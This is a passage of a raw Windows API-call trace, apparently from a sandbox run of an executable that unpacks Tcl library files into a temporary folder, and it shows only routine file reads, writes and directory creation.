returned 0x30 [0036.894] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.894] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.894] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.894] GetFileType (hFile=0x10c) returned 0x1 [0036.894] htonl (hostlong=0xaff05600) returned 0x56f0af [0036.894] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ba0af, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.894] htonl (hostlong=0xbd090000) returned 0x9bd [0036.894] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9bd) returned 0x55d270 [0036.894] htonl (hostlong=0xbd090000) returned 0x9bd [0036.894] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55dc38 [0036.894] ReadFile (in: hFile=0x10c, lpBuffer=0x55dc38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55dc38*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.894] htonl (hostlong=0x5230000) returned 0x2305 [0036.894] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2305) returned 0x560088 [0036.895] htonl (hostlong=0xbd090000) returned 0x9bd [0036.895] htonl (hostlong=0x5230000) returned 0x2305 [0036.895] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562398 [0036.895] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562398 | out: hHeap=0x530000) returned 1 [0036.895] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.895] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55dc38 | out: hHeap=0x530000) returned 1 [0036.895] CloseHandle (hObject=0x10c) returned 1 [0036.895] GetLastError () returned 0x0 [0036.895] SetLastError (dwErrCode=0x0) [0036.895] GetLastError () returned 0x0 [0036.895] SetLastError (dwErrCode=0x0) [0036.895] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.895] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.895] GetFileType (hFile=0x10c) returned 0x1 [0036.895] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.895] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.895] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.895] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.895] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.896] CloseHandle (hObject=0x10c) returned 1 [0036.896] GetLastError () returned 0x0 [0036.896] SetLastError (dwErrCode=0x0) [0036.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\history.tcl") returned 61 [0036.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\history.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\history.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.896] GetLastError () returned 0x2 [0036.896] SetLastError (dwErrCode=0x2) [0036.896] GetLastError () returned 0x2 [0036.896] SetLastError (dwErrCode=0x2) [0036.896] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\history.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\history.tcl", lpFilePart=0x0) returned 0x3c [0036.896] GetLastError () returned 0x2 [0036.896] SetLastError (dwErrCode=0x2) [0036.896] GetLastError () returned 0x2 [0036.896] SetLastError (dwErrCode=0x2) [0036.896] GetLastError () returned 0x2 [0036.896] SetLastError (dwErrCode=0x2) [0036.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\history.tcl") returned 61 [0036.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.896] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\history.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\history.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.897] GetFileType (hFile=0x10c) returned 0x1 [0036.897] htonl (hostlong=0x5230000) returned 0x2305 [0036.897] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0036.898] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.898] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x305, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x305, lpOverlapped=0x0) returned 1 [0036.898] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.898] CloseHandle (hObject=0x10c) returned 1 [0036.899] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.900] htonl (hostlong=0x30000000) returned 0x30 [0036.900] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.900] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.900] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.900] GetFileType (hFile=0x10c) returned 0x1 [0036.900] htonl (hostlong=0x6cfa5600) returned 0x56fa6c [0036.900] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5baa6c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.900] htonl (hostlong=0xe50b0000) returned 0xbe5 [0036.900] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbe5) returned 0x55d270 [0036.900] htonl (hostlong=0xe50b0000) returned 0xbe5 [0036.900] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55de60 [0036.900] ReadFile (in: hFile=0x10c, lpBuffer=0x55de60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55de60*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.900] htonl (hostlong=0xdd250000) returned 0x25dd [0036.900] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x25dd) returned 0x560088 [0036.901] htonl (hostlong=0xe50b0000) returned 0xbe5 [0036.901] htonl (hostlong=0xdd250000) returned 0x25dd [0036.901] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562670 [0036.901] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562670 | out: hHeap=0x530000) returned 1 [0036.901] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.901] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55de60 | out: hHeap=0x530000) returned 1 [0036.901] CloseHandle (hObject=0x10c) returned 1 [0036.902] GetLastError () returned 0x0 [0036.902] SetLastError (dwErrCode=0x0) [0036.902] GetLastError () returned 0x0 [0036.902] SetLastError (dwErrCode=0x0) [0036.902] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.902] GetFileType (hFile=0x10c) returned 0x1 [0036.902] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.902] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.902] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.902] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.902] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.902] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.902] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.902] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.902] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.902] CloseHandle (hObject=0x10c) returned 1 [0036.902] GetLastError () returned 0x0 [0036.902] SetLastError (dwErrCode=0x0) [0036.902] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0") returned 57 [0036.902] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\http1.0"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.903] GetLastError () returned 0x2 [0036.903] SetLastError (dwErrCode=0x2) [0036.903] GetLastError () returned 0x2 [0036.903] SetLastError (dwErrCode=0x2) [0036.903] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0", lpFilePart=0x0) returned 0x38 [0036.903] GetLastError () returned 0x2 [0036.903] SetLastError (dwErrCode=0x2) [0036.903] GetLastError () returned 0x2 [0036.903] SetLastError (dwErrCode=0x2) [0036.903] GetLastError () returned 0x2 [0036.903] SetLastError (dwErrCode=0x2) [0036.903] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\http1.0"), lpSecurityAttributes=0x0) returned 1 [0036.903] GetLastError () returned 0x2 [0036.903] SetLastError (dwErrCode=0x2) [0036.903] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\http.tcl") returned 66 [0036.903] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\http.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\http1.0\\http.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.903] GetLastError () returned 0x2 [0036.903] SetLastError (dwErrCode=0x2) [0036.903] GetLastError () returned 0x2 [0036.903] SetLastError (dwErrCode=0x2) [0036.903] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\http.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\http.tcl", lpFilePart=0x0) returned 0x41 [0036.903] GetLastError () returned 0x2 [0036.903] SetLastError (dwErrCode=0x2) [0036.903] GetLastError () returned 0x2 [0036.903] SetLastError (dwErrCode=0x2) [0036.903] GetLastError () returned 0x2 [0036.904] SetLastError (dwErrCode=0x2) [0036.904] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\http.tcl") returned 66 [0036.904] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\http.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\http1.0\\http.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.904] GetFileType (hFile=0x10c) returned 0x1 [0036.904] htonl (hostlong=0xdd250000) returned 0x25dd [0036.904] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0036.905] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.905] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x5dd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x5dd, lpOverlapped=0x0) returned 1 [0036.905] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.905] CloseHandle (hObject=0x10c) returned 1 [0036.906] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.907] htonl (hostlong=0x30000000) returned 0x30 [0036.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.907] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.907] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.907] GetFileType (hFile=0x10c) returned 0x1 [0036.907] htonl (hostlong=0x51065700) returned 0x570651 [0036.907] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bb651, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.907] htonl (hostlong=0xa2010000) returned 0x1a2 [0036.907] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1a2) returned 0x550600 [0036.907] htonl (hostlong=0xa2010000) returned 0x1a2 [0036.907] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.908] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.908] htonl (hostlong=0xdf020000) returned 0x2df [0036.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2df) returned 0x5507b0 [0036.908] htonl (hostlong=0xa2010000) returned 0x1a2 [0036.908] htonl (hostlong=0xdf020000) returned 0x2df [0036.908] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.908] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.909] CloseHandle (hObject=0x10c) returned 1 [0036.909] GetLastError () returned 0x0 [0036.909] SetLastError (dwErrCode=0x0) [0036.909] GetLastError () returned 0x0 [0036.909] SetLastError (dwErrCode=0x0) [0036.909] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.909] GetFileType (hFile=0x10c) returned 0x1 [0036.909] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.909] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.909] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.909] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.909] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.909] CloseHandle (hObject=0x10c) returned 1 [0036.909] GetLastError () returned 0x0 [0036.909] SetLastError (dwErrCode=0x0) [0036.909] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0") returned 57 [0036.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\http1.0"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.909] GetFileType (hFile=0x10c) returned 0x1 [0036.910] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.910] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.910] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.910] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.910] CloseHandle (hObject=0x10c) returned 1 [0036.910] GetLastError () returned 0x0 [0036.910] SetLastError (dwErrCode=0x0) [0036.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\pkgIndex.tcl") returned 70 [0036.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\pkgIndex.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\http1.0\\pkgindex.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.910] GetLastError () returned 0x2 [0036.910] SetLastError (dwErrCode=0x2) [0036.910] GetLastError () returned 0x2 [0036.910] SetLastError (dwErrCode=0x2) [0036.910] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\pkgIndex.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\pkgIndex.tcl", lpFilePart=0x0) returned 0x45 [0036.910] GetLastError () returned 0x2 [0036.910] SetLastError (dwErrCode=0x2) [0036.910] GetLastError () returned 0x2 [0036.910] SetLastError (dwErrCode=0x2) [0036.910] GetLastError () returned 0x2 [0036.910] 